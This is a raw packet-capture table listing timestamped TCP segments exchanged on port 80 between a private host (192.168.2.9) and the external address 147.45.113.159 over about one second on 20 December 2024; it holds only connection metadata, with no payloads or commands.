Dec 20, 2024 17:13:43.704674959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.704754114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.704807043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.705395937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.705440998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.705612898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.706219912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.706708908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.706763983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.706984997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.707027912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.707063913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.733072996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.733206034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.733328104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.733568907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.733613014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.733655930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.734133005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.734209061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.734247923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.734883070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.734896898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.734960079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.805653095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.805803061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.805926085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.805984974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.805999041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.806050062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.806687117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.806835890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.806878090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.807456970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.807799101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.807898998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.807939053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.808511972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.808552980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.808571100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.809235096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.809362888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.809403896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.810101986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.810121059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.810158968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.810884953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.810897112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.810920954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.811619997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.811659098 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.811716080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.812427998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.812517881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.812556028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.813170910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.813215971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.813221931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.814002037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.814017057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.814060926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.814788103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.814836979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.814898014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.815546989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.815591097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.815598011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.816315889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.816368103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.816414118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.817187071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.817199945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.817255974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.817889929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.817930937 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.817941904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.818722010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.818980932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.819024086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.819468975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.819514036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.819552898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.820447922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.820488930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.820534945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.821044922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.821088076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.821129084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.821868896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.821947098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.821990013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.822593927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.822609901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.822650909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.823365927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.823409081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.823472977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.824153900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.824218035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.824259043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.825002909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.825045109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.825479031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.825788975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.825931072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.825970888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.826556921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.826996088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.827040911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.827357054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.827397108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.827416897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.828057051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.828099012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.828141928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.884423018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.884674072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.884711027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.884799957 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.884804964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.884848118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.885587931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.885791063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.886132956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.886301041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.886560917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.886620998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.886662006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.887015104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.887057066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.887161970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.887871981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.887912035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.887953043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.888632059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.888673067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.888710022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.889476061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.889489889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.889525890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.890438080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.890609980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.890683889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.891324043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.891469955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.891515017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.892261028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.892272949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.892303944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.892874002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.892915964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.893381119 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.893449068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.893461943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.893496990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.894126892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.894421101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.894462109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.894860029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.894901991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.894998074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.895740032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.895752907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.895778894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.896466970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.896512985 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.896544933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.897286892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.897299051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.897339106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.898386002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.898397923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.898433924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.899182081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.899220943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.899303913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.925507069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.925517082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.925628901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.925834894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.925981998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.926047087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.926568031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.926693916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.926778078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.927356005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.927400112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.997564077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.997574091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.997648001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.997701883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.997859001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.998135090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.998589993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.998600006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.998646975 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.999263048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.999372959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:43.999711037 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:43.999808073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.000258923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.000302076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.000701904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.000713110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.000760078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.001529932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.001540899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.001576900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.002285004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.002295971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.002331018 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.002985001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.003225088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.003271103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.003741980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.003824949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.004501104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.004547119 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.004738092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.004781008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.005352020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.005440950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.006058931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.006108046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.006146908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.006836891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.006877899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.006970882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.007013083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.007669926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.007713079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.007828951 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.008646011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.008658886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.008699894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.009248972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.009363890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.009702921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.009987116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.010063887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.010104895 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.010775089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.010951996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.010993958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.011671066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.011742115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.011784077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.012404919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.012439966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.012480974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.013124943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.013205051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.013912916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.013961077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.014070034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.014108896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.014744997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.014761925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.014794111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.015618086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.015630007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.015676022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.016331911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.016345024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.016463995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.017088890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.017211914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.017277002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.017868996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.017951965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.017992020 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.018630028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.018702984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.018750906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.019377947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.019531965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.019587994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.020186901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.020246983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.020287991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.076797009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.076857090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.076908112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.077107906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.077310085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.077348948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.078026056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.078140020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.078711987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.078782082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.079071045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.079082966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.079123974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.079763889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.079828978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.079937935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.080595970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.080607891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.080630064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.081279993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.081497908 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.081537962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.082133055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.082266092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.082268953 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.082863092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.082916021 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.082957983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.083756924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.083781004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.083795071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.084460974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.084484100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.084506989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.085318089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.085334063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.085374117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.086026907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.086100101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.086138964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.086776018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.086818933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.087044001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.087553024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.087594032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.087688923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.088382006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.088430882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.088454962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.089195013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.089483976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.089523077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.089879990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.090022087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.090044975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.090750933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.090804100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.090841055 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.091445923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.091485023 CET	80	49711	147.45.113.159	192.168.2.9
